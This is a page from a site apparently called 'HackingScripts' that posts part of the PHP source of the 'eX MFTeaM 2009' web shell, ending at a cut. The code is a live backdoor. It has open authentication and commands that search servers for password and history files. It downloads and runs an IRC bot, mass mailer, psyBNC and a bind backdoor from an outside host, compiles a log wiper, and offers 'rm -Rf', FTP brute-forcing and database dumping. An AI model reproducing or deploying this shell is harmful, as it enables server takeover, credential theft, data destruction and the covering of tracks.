HackingScripts

Hack Scripts for everybody

eX MFTeaM 2009 shell

01 Mar 2014

eX MFTeaM 2009 shell by By FakoMast3r, CopyRight MFTeaM.

eX MFTeaM 2009 shell Source Code

   1 <?php
   2 
   3 ###
   4 ###
   5 ###
   6 ###
   7 ###
   8 ###
   9 ###
  10 ###
  11 ###
  12 ###
  13 ###
  14 ###
  15 ###
  16 ###
  17 ###
  18 ###
  19 ###
  20 ###
  21 ####
  22 
  23 ### eX MFTeaM 2009                    
  24 ###
  25 define('sh_ver'," By FakoMast3r");           
  26 ###
  27 
  28 ###    CopyRight MFTeaM               
  29 ###
  30 
  31 ###     irc.midnightcr3w.com           
  32 ###
  33 
  34 ###    chan #midnightcr3w                       
  35 ###
  36 
  37 ###
  38 ###
  39 ###
  40 ###
  41 ###
  42 ###
  43 ###
  44 ###
  45 ###
  46 ###
  47 ###
  48 ###
  49 ###
  50 ###
  51 ###
  52 ###
  53 ###
  54 ###
  55 ####
  56 $sh_name = sh_name();                
  57 ###
  58 
  59 ###
  60 ###
  61 ###
  62 ###
  63 ###
  64 ###
  65 ###
  66 ###
  67 ###
  68 ###
  69 ###
  70 ###
  71 ###
  72 ###
  73 ###
  74 ###
  75 ###
  76 ###
  77 ####
  78 #$sh_mainurl        = "http://www.jemcknight.plus.com/";
  79 $sh_mainurl        = "http://www.jemcknight.plus.com/";
  80 $exsh_updateurl  = $sh_mainurl."exsh_update.php";
  81 $exsh_sourcesurl = $sh_mainurl."exsh.txt";
  82 $sh_sourcez = array(
  83  "Rfi-Bot"   => array($sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde"),
  84   "Mass Mailer"   => array($sh_mainurl."libyex.php"),
  85   "exSh"   => array($sh_mainurl."exsh.txt"),
  86   "psyBNC"   => array($sh_mainurl."psy.tar.gz"),
  87 );
  88 
  89 ###[ AUTHENTICATION ]
  90 ###
  91 $auth = array(
  92   "login"     => "",
  93   "pass"      => "",
  94   "md5pass"   => "",
  95   "hostallow" => array("*"),
  96   "denied"    => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
  97 );
  98 
  99 ###[ END AUTHENTICATION ]
 100 ###
 101 $curdir = "./";
 102 $tmpdir = "";
 103 $tmpdir_logs = "./";
 104 $log_email = "edwis@live.com"; #Email logna
 105 $sess_cookie = "exshcook";
 106 $sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
 107 $sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
 108 $usefsbuff = TRUE;
 109 $copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
 110 $surl_autofill_include = TRUE;
 111 $updatenow   = FALSE;
 112 $gzipencode  = TRUE;
 113 $filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
 114 $hexdump_lines = 8;
 115 $hexdump_rows = 24;
 116 $millink = milw0rm();
 117 $win = strtolower(substr(PHP_OS,0,3)) == "win";
 118 $disablefunc = getdisfunc();
 119 
 120 ###[ END OF CONFIGS ]
 121 ###
 122 error_reporting(E_ERROR | E_PARSE);
 123 @ini_set("max_execution_time",0);
 124 @set_time_limit(0); #No Fx in SafeMode
 125 @ignore_user_abort(TRUE);
 126 @set_magic_quotes_runtime(0);
 127 define("starttime",getmicrotime());
 128 if (get_magic_quotes_gpc()) { strips($GLOBALS); }
 129 $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
 130 @$f = $_REQUEST["f"];
 131 @extract($_REQUEST["exshcook"]);
 132 foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
 133 if ($surl_autofill_include) {
 134   $include = "&";
 135   foreach (explode("&",getenv("QUERY_STRING")) as $v) {
 136     $v = explode("=",$v);
 137     $name = urldecode($v[0]);
 138     $value = @urldecode($v[1]);
 139     foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
 140       if (strpos($value,$needle) === 0) {
 141         $includestr .= urlencode($name)."=".urlencode($value)."&";
 142       }
 143     }
 144   }
 145 }
 146 if (empty($surl)) {
 147   $surl = "?".$includestr;
 148   $surl = htmlspecialchars($surl);
 149 }
 150 
 151 ### FILE TYPES 
 152 ###
 153 $ftypes  = array(
 154   "html"     => array("html","htm","shtml"),
 155   "txt"      => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 156   "exe"      => array("sh","install","bat","cmd"),
 157   "ini"      => array("ini","inf","conf"),
 158   "code"     => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 159   "img"      => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 160   "sdb"      => array("sdb"),
 161   "phpsess"  => array("sess"),
 162   "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
 163 );
 164 $exeftypes  = array(
 165   getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 166   "perl %f%"                => array("pl","cgi")
 167 );
 168 $regxp_highlight  = array(
 169   array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
 170   array("\.tgz$",1,"<font color=#C082FF>","</font>"),
 171   array("\.gz$",1,"<font color=#C082FF>","</font>"),
 172   array("\.tar$",1,"<font color=#C082FF>","</font>"),
 173   array("\.bz2$",1,"<font color=#C082FF>","</font>"),
 174   array("\.zip$",1,"<font color=#C082FF>","</font>"),
 175   array("\.rar$",1,"<font color=#C082FF>","</font>"),
 176   array("\.php$",1,"<font color=#00FF00>","</font>"),
 177   array("\.php3$",1,"<font color=#00FF00>","</font>"),
 178   array("\.php4$",1,"<font color=#00FF00>","</font>"),
 179   array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
 180   array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
 181   array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
 182   array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
 183   array("\.ico$",1,"<font color=#00FFFF>","</font>"),
 184   array("\.gif$",1,"<font color=#00FFFF>","</font>"),
 185   array("\.png$",1,"<font color=#00FFFF>","</font>"),
 186   array("\.htm$",1,"<font color=#00CCFF>","</font>"),
 187   array("\.html$",1,"<font color=#00CCFF>","</font>"),
 188   array("\.txt$",1,"<font color=#C0C0C0>","</font>")
 189 );
 190 
 191 ### QUICK COMMANDS 
 192 ###
 193 if (!$win) {
 194   $cmdaliases = array(
 195     array("", "ls -al"),
 196     array("Find all suid files", "find / -type f -perm -04000 -ls"),
 197     array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
 198     array("Find all sgid files", "find / -type f -perm -02000 -ls"),
 199     array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
 200     array("Find config.inc.php files", "find / -type f -name config.inc.php"),
 201     array("Find config* files", "find / -type f -name \"config*\""),
 202     array("Find config* files in current dir", "find . -type f -name \"config*\""),
 203     array("Find all writable folders and files", "find / -perm -2 -ls"),
 204     array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
 205     array("Find all writable folders", "find / -type d -perm -2 -ls"),
 206     array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
 207     array("Find all service.pwd files", "find / -type f -name service.pwd"),
 208     array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
 209     array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
 210     array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
 211     array("Find all .bash_history files", "find / -type f -name .bash_history"),
 212     array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
 213     array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
 214     array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
 215     array("List file attributes on a Linux second extended file system", "lsattr -va"),
 216     array("Show opened ports", "netstat -an | grep -i listen")
 217   );
 218   $cmdaliases2 = array(
 219     array("wget & extract Rfi-Bot","wget ".$sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde;perl ssess_0296317ca2b10940f6c11c59805b4dde"),
 220     array("wget & extract Mass Mailer","wget ".$sh_mainurl."libyex.php"),
 221     array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tar.gz;tar -zxf fx.tgz;cd .psy;./config 50000;./fuck;./run"),
 222     array("-----",""),
 223     array("Logged in users","w"),
 224     array("Last to connect","lastlog"),
 225     array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
 226     array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
 227     array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
 228     array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
 229     array("CPU Info","cat /proc/version /proc/cpuinfo"),
 230     array("Is gcc installed ?","locate gcc"),
 231     array("Format box (DANGEROUS)","rm -Rf"),
 232     array("-----",""),
 233     array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
 234     array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
 235     array("Run WIPELOGS PT3","./zap2"),
 236     array("-----",""),
 237     array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
 238     array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
 239     array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
 240   );
 241 }
 242 else {
 243   $cmdaliases = array(
 244     array("", "dir"),
 245     array("Find index.php in current dir", "dir /s /w /b index.php"),
 246     array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
 247     array("Find c99shell in current dir", "find /c \"c99\" *"),
 248     array("Find r57shell in current dir", "find /c \"r57\" *"),
 249     array("Find exshell in current dir", "find /c \"ex\" *"),
 250     array("Show active connections", "netstat -an"),
 251     array("Show running services", "net start"),
 252     array("User accounts", "net user"),
 253     array("Show computers", "net view"),
 254   );
 255 }
 256 
 257 ### PHP FILESYSTEM TRICKS (By eX) 
 258 ###
 259 $phpfsaliases = array(
 260     array("Read File", "read", 1, "File", ""),
 261     array("Write File (PHP5)", "write", 2, "File","Text"),
 262     array("Copy", "copy", 2, "From", "To"),
 263     array("Rename/Move", "rename", 2, "File", "To"),
 264     array("Delete", "delete", 1 ,"File", ""),
 265     array("Make Dir","mkdir", 1, "Dir", ""),
 266     array("Download", "download", 2, "URL", "To"),
 267     array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
 268     array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
 269     array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
 270     array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
 271 );
 272 
 273 ### QUICK LAUNCH 
 274 ###
 275 $quicklaunch1 = array(
 276     array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
 277     array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
 278     array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
 279     array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 280     array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
 281     array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
 282 );
 283 $quicklaunch2 = array(
 284     array("Security Info",$surl."act=security&d=%d"),
 285     array("Processes",$surl."act=processes&d=%d"),
 286     array("MySQL",$surl."act=sql&d=%d"),
 287     array("Eval",$surl."act=eval&d=%d"),
 288     array("Encoder",$surl."act=encoder&d=%d"),
 289     array("Mailer",$surl."act=fxmailer"),
 290     array("milw0rm",$millink),
 291     array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
 292     array("Toolz",$surl."act=tools&d=%d"),
 293     array("Kill-Shell",$surl."act=selfremove"),
 294     array("Feedback",$surl."act=feedback"),
 295     array("Update",$surl."act=update"),
 296     array("About",$surl."act=about")
 297 );
 298 if (!$win) {
 299   $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
 300 }
 301 
 302 ### HIGHLIGHT CODE 
 303 ###
 304 $highlight_background = "#C0C0C0";
 305 $highlight_bg = "#FFFFFF";
 306 $highlight_comment = "#6A6A6A";
 307 $highlight_default = "#0000BB";
 308 $highlight_html = "#1300FF";
 309 $highlight_keyword = "#007700";
 310 $highlight_string = "#000000";
 311 
 312 ###
 313 ###
 314 ###
 315 ###
 316 ###
 317 ###
 318 ###
 319 ###
 320 ###
 321 ###
 322 
 323 ###[ AUTHENTICATE ]
 324 ###
 325 
 326 ###
 327 ###
 328 ###
 329 ###
 330 ###
 331 ###
 332 ###
 333 ###
 334 ###
 335 ###
 336 $tmp = array();
 337 foreach ($auth["hostallow"] as $k => $v) {
 338   $tmp[] = str_replace("\\*",".*",preg_quote($v));
 339 }
 340 $s = "!^(".implode("|",$tmp).")$!i";
 341 if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
 342   exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
 343 }
 344 if (!empty($auth["login"])) {
 345   if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
 346   if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
 347     header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
 348     header("HTTP/1.0 401 Unauthorized");
 349     die($auth["denied"]);
 350   }
 351 }
 352 
 353 ### END AUTHENTICATE 
 354 ###
 355 
 356 if ($act != "img") {
 357   $lastdir = realpath(".");
 358   chdir($curdir);
 359   if ($updatenow) { @ob_clean(); exsh_getupdate(1); exit; }
 360   $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
 361   if (!is_array($sess_data)) { $sess_data = array(); }
 362   if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
 363   if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
 364   ex_buff_prepare();
 365   foreach (array("sort","sql_sort") as $v) {
 366     if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 367     if (!empty($_POST[$v])) {$$v = $_POST[$v];}
 368   }
 369   if ($sort_save) {
 370     if (!empty($sort)) {setcookie("sort",$sort);}
 371     if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
 372   }
 373   if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
 374   if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
 375   if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
 376   if (!function_exists("mysql_dump")) {
 377     function mysql_dump($set) {
 378       global $sh_ver;
 379       $sock = $set["sock"];
 380       $db = $set["db"];
 381       $print = $set["print"];
 382       $nl2br = $set["nl2br"];
 383       $file = $set["file"];
 384       $add_drop = $set["add_drop"];
 385       $tabs = $set["tabs"];
 386       $onlytabs = $set["onlytabs"];
 387       $ret = array();
 388       $ret["err"] = array();
 389       if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 390       if (empty($db)) {$db = "db";}
 391       if (empty($print)) {$print = 0;}
 392       if (empty($nl2br)) {$nl2br = 0;}
 393       if (empty($add_drop)) {$add_drop = TRUE;}
 394       if (empty($file)) {
 395         $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 396       }
 397       if (!is_array($tabs)) {$tabs = array();}
 398       if (empty($add_drop)) {$add_drop = TRUE;}
 399       if (sizeof($tabs) == 0) {
 400         //Retrieve tables-list
 401         $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
 402         if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 403       }
 404       $out = "
 405       # Dumped by ".$sh_name."
 406       #
 407       # Host settings:
 408       # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
 409       # Date: ".date("d.m.Y H:i:s")."
 410       # DB: \"".$db."\"
 411       #---------------------------------------------------------";
 412       $c = count($onlytabs);
 413       foreach($tabs as $tab) {
 414         if ((in_array($tab,$onlytabs)) or (!$c)) {
 415           if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
 416           //Receieve query for create table structure
 417           $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
 418           if (!$res) {$ret["err"][] = mysql_smarterror();}
 419           else {
 420             $row = mysql_fetch_row($res);
 421             $out .= $row["1"].";\n\n";
 422             //Receieve table variables
 423             $res = mysql_query("SELECT * FROM `$tab`", $sock);
 424             if (mysql_num_rows($res) > 0) {
 425               while ($row = mysql_fetch_assoc($res)) {
 426                 $keys = implode("`, `", array_keys($row));
 427                 $values = array_values($row);
 428                 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
 429                 $values = implode("', '", $values);
 430                 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
 431                 $out .= $sql;
 432               }
 433             }
 434           }
 435         }
 436       }
 437       $out .= "#---------------------------------------------------------------------------------\n\n";
 438       if ($file) {
 439         $fp = fopen($file, "w");
 440         if (!$fp) {$ret["err"][] = 2;}
 441         else {
 442           fwrite ($fp, $out);
 443           fclose ($fp);
 444         }
 445       }
 446       if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 447       return $out;
 448     }
 449   }
 450   if (!function_exists("mysql_buildwhere")) {
 451     function mysql_buildwhere($array,$sep=" and",$functs=array()) {
 452       if (!is_array($array)) {$array = array();}
 453       $result = "";
 454       foreach($array as $k=>$v) {
 455         $value = "";
 456         if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
 457         $value .= "'".addslashes($v)."'";
 458         if (!empty($functs[$k])) {$value .= ")";}
 459         $result .= "`".$k."` = ".$value.$sep;
 460       }
 461       $result = substr($result,0,strlen($result)-strlen($sep));
 462       return $result;
 463     }
 464   }
 465   if (!function_exists("mysql_fetch_all")) {
 466     function mysql_fetch_all($query,$sock) {
 467       if ($sock) {$result = mysql_query($query,$sock);}
 468       else {$result = mysql_query($query);}
 469       $array = array();
 470       while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 471       mysql_free_result($result);
 472       return $array;
 473     }
 474   }
 475   if (!function_exists("mysql_smarterror")) {
 476     function mysql_smarterror($type,$sock) {
 477       if ($sock) {$error = mysql_error($sock);}
 478       else {$error = mysql_error();}
 479       $error = htmlspecialchars($error);
 480       return $error;
 481     }
 482   }
 483   if (!function_exists("mysql_query_form")) {
 484     function mysql_query_form() {
 485       global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 486       if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 487       if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 488       if ((!$submit) or ($sql_act)) {
 489         echo "<table border=0><tr><td><form name=\"exsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
 490         if ($tbl_struct) {
 491           echo "<td valign=\"top\"><b>Fields:</b><br>";
 492           foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.exsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
 493           echo "</td></tr></table>";
 494         }
 495       }
 496       if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
 497     }
 498   }
 499   if (!function_exists("mysql_create_db")) {
 500     function mysql_create_db($db,$sock="") {
 501       $sql = "CREATE DATABASE `".addslashes($db)."`;";
 502       if ($sock) {return mysql_query($sql,$sock);}
 503       else {return mysql_query($sql);}
 504     }
 505   }
 506   if (!function_exists("mysql_query_parse")) {
 507     function mysql_query_parse($query) {
 508       $query = trim($query);
 509       $arr = explode (" ",$query);
 510       $types = array(
 511         "SELECT"=>array(3,1),
 512         "SHOW"=>array(2,1),
 513         "DELETE"=>array(1),
 514         "DROP"=>array(1)
 515       );
 516       $result = array();
 517       $op = strtoupper($arr[0]);
 518       if (is_array($types[$op])) {
 519         $result["propertions"] = $types[$op];
 520         $result["query"]  = $query;
 521         if ($types[$op] == 2) {
 522           foreach($arr as $k=>$v) {
 523             if (strtoupper($v) == "LIMIT") {
 524               $result["limit"] = $arr[$k+1];
 525               $result["limit"] = explode(",",$result["limit"]);
 526               if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
 527               unset($arr[$k],$arr[$k+1]);
 528             }
 529           }
 530         }
 531       }
 532       else {return FALSE;}
 533     }
 534   }
 535   if ($act == "gofile") {
 536     if (is_dir($f)) { $act = "ls"; $d = $f; }
 537     else { $act = "f"; $d = dirname($f); $f = basename($f); }
 538   }
 539   
 540 ### HEADERS 
 541 ###
 542   @ob_start();
 543   @ob_implicit_flush(0);
 544   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
 545   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
 546   header("Cache-Control: no-store, no-cache, must-revalidate");
 547   header("Cache-Control: post-check=0, pre-check=0", FALSE);
 548   header("Pragma: no-cache");
 549   if (empty($tmpdir)) {
 550     $tmpdir = ini_get("upload_tmp_dir");
 551     if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
 552   }
 553   $tmpdir = realpath($tmpdir);
 554   $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
 555   if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
 556   if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
 557   else {$tmpdir_logs = realpath($tmpdir_logs);}
 558   $sort = htmlspecialchars($sort);
 559   if (empty($sort)) {$sort = $sort_default;}
 560   $sort[1] = strtolower($sort[1]);
 561   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
 562   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
 563   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
 564   @ini_set("highlight.bg",$highlight_bg);
 565   @ini_set("highlight.comment",$highlight_comment);
 566   @ini_set("highlight.default",$highlight_default);
 567   @ini_set("highlight.html",$highlight_html);
 568   @ini_set("highlight.keyword",$highlight_keyword);
 569   @ini_set("highlight.string",$highlight_string);
 570   if (!is_array($actbox)) { $actbox = array(); }
 571   $dspact = $act = htmlspecialchars($act);
 572   $disp_fullpath = $ls_arr = $notls = null;
 573   $ud = @urlencode($d);
 574   if (empty($d)) {$d = realpath(".");}
 575   elseif(realpath($d)) {$d = realpath($d);}
 576   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 577   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 578   $d = str_replace("\\\\","\\",$d);
 579   $dispd = htmlspecialchars($d);
 580   $safemode = safemode();
 581   if ($safemode) {
 582     $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
 583     $safemodeexecdir = @ini_get("safe_mode_exec_dir");
 584   }
 585   else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
 586   $v = @ini_get("open_basedir");
 587   if ($v or strtolower($v) == "on") {
 588     $openbasedir = TRUE;
 589     $hopenbasedir = "<font color=red>".$v."</font>";
 590   }
 591   else {
 592     $openbasedir = FALSE;
 593     $hopenbasedir = "<font color=green>OFF (not secure)</font>";
 594   }
 595   
 596 
 597 ###
 598 ###
 599 ###
 600 ###
 601 ###
 602 ###
 603 ###
 604 ###
 605 ###
 606 
 607 ###[ HTML START ]
 608 ###
 609 
 610 ###
 611 ###
 612 ###
 613 ###
 614 ###
 615 ###
 616 ###
 617 ###
 618 ###
 619 function srv_info($title,$contents) {
 620   echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
 621 }
 622 echo htmlhead($hsafemode);
 623 echo "<table id=pagebar>";
 624 echo "<tr><td colspan=2>\n";
 625 echo "<div class=fleft>$hsafemode</div>\n";
 626 echo "<div class=fright>";
 627 echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
 628      "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
 629      ($win?"Drives: ".disp_drives($d,$surl):"");
 630 echo "</div>\n</td></tr>\n";
 631 echo "<tr><td width=50%>\n";
 632 echo "<table class=info>\n";
 633 srv_info("Software","".$DISP_SERVER_SOFTWARE);
 634 srv_info("Uname",php_uname());
 635 srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : exexec("id"));
 636 echo "</table></td>\n".
 637      "<td width=50%>\n";
 638 echo "<table class=info>\n";
 639 srv_info("Freespace",disp_freespace($d));
 640 echo "</table></td></tr>\n";
 641 echo "<tr><td colspan=2>\n";
 642 echo get_status();
 643 echo "</td></tr>\n";
 644 echo "<tr><td colspan=2>\n";
 645 echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
 646 echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
 647 echo "</td></tr>\n";
 648 echo "<tr><td colspan=2 id=mainmenu>\n";
 649 if (count($quicklaunch2) > 0) {
 650   foreach($quicklaunch2 as $item) {
 651     $item[1] = str_replace("%d",urlencode($d),$item[1]);
 652     $item[1] = str_replace("%sort",$sort,$item[1]);
 653     $v = realpath($d."..");
 654     if (empty($v)) {
 655       $a = explode(DIRECTORY_SEPARATOR,$d);
 656       unset($a[count($a)-2]);
 657       $v = join(DIRECTORY_SEPARATOR,$a);
 658     }
 659     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
 660     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
 661   }
 662 }
 663 echo "</td>\n".
 664      "<tr><td colspan=2 id=mainmenu>\n";
 665 if (count($quicklaunch1) > 0) {
 666   foreach($quicklaunch1 as $item) {
 667     $item[1] = str_replace("%d",urlencode($d),$item[1]);
 668     $item[1] = str_replace("%sort",$sort,$item[1]);
 669     $v = realpath($d."..");
 670     if (empty($v)) {
 671       $a = explode(DIRECTORY_SEPARATOR,$d);
 672       unset($a[count($a)-2]);
 673       $v = join(DIRECTORY_SEPARATOR,$a);
 674     }
 675     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
 676     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
 677   }
 678 }
 679 echo "</td></tr>\n<tr><td colspan=2>";
 680 echo "<p class=fleft>\n";
 681 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
 682 $i = 0;
 683 foreach($pd as $b) {
 684   $t = ""; $j = 0;
 685   foreach ($e as $r) {
 686     $t.= $r.DIRECTORY_SEPARATOR;
 687     if ($j == $i) { break; }
 688     $j++;
 689   }
 690   echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
 691   $i++;
 692 }
 693 echo " - ";
 694 if (is_writable($d)) {
 695   $wd = TRUE;
 696   $wdt = "<font color=#00FF00>[OK]</font>";
 697   echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
 698 }
 699 else {
 700   $wd = FALSE;
 701   $wdt = "<font color=red>[Read-Only]</font>";
 702   echo "<b>".view_perms_color($d)."</b>";
 703 }
 704 echo "\n</p>\n";
 705 ?>
 706 <div class=fright>
 707 <form method="POST"><input type=hidden name=act value="ls">
 708 Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
 709 </form>
 710 </div>
 711 </td></tr></table>
 712 <?php
 713 /***********************/
 714 /** INFORMATION TABLE **/
 715 /***********************/
 716 echo "<table id=maininfo><tr><td width=\"100%\">\n";
 717 if ($act == "") { $act = $dspact = "ls"; }
 718 if ($act == "sql") {
 719   $sql_surl = $surl."act=sql";
 720   if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 721   if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 722   if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 723   if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
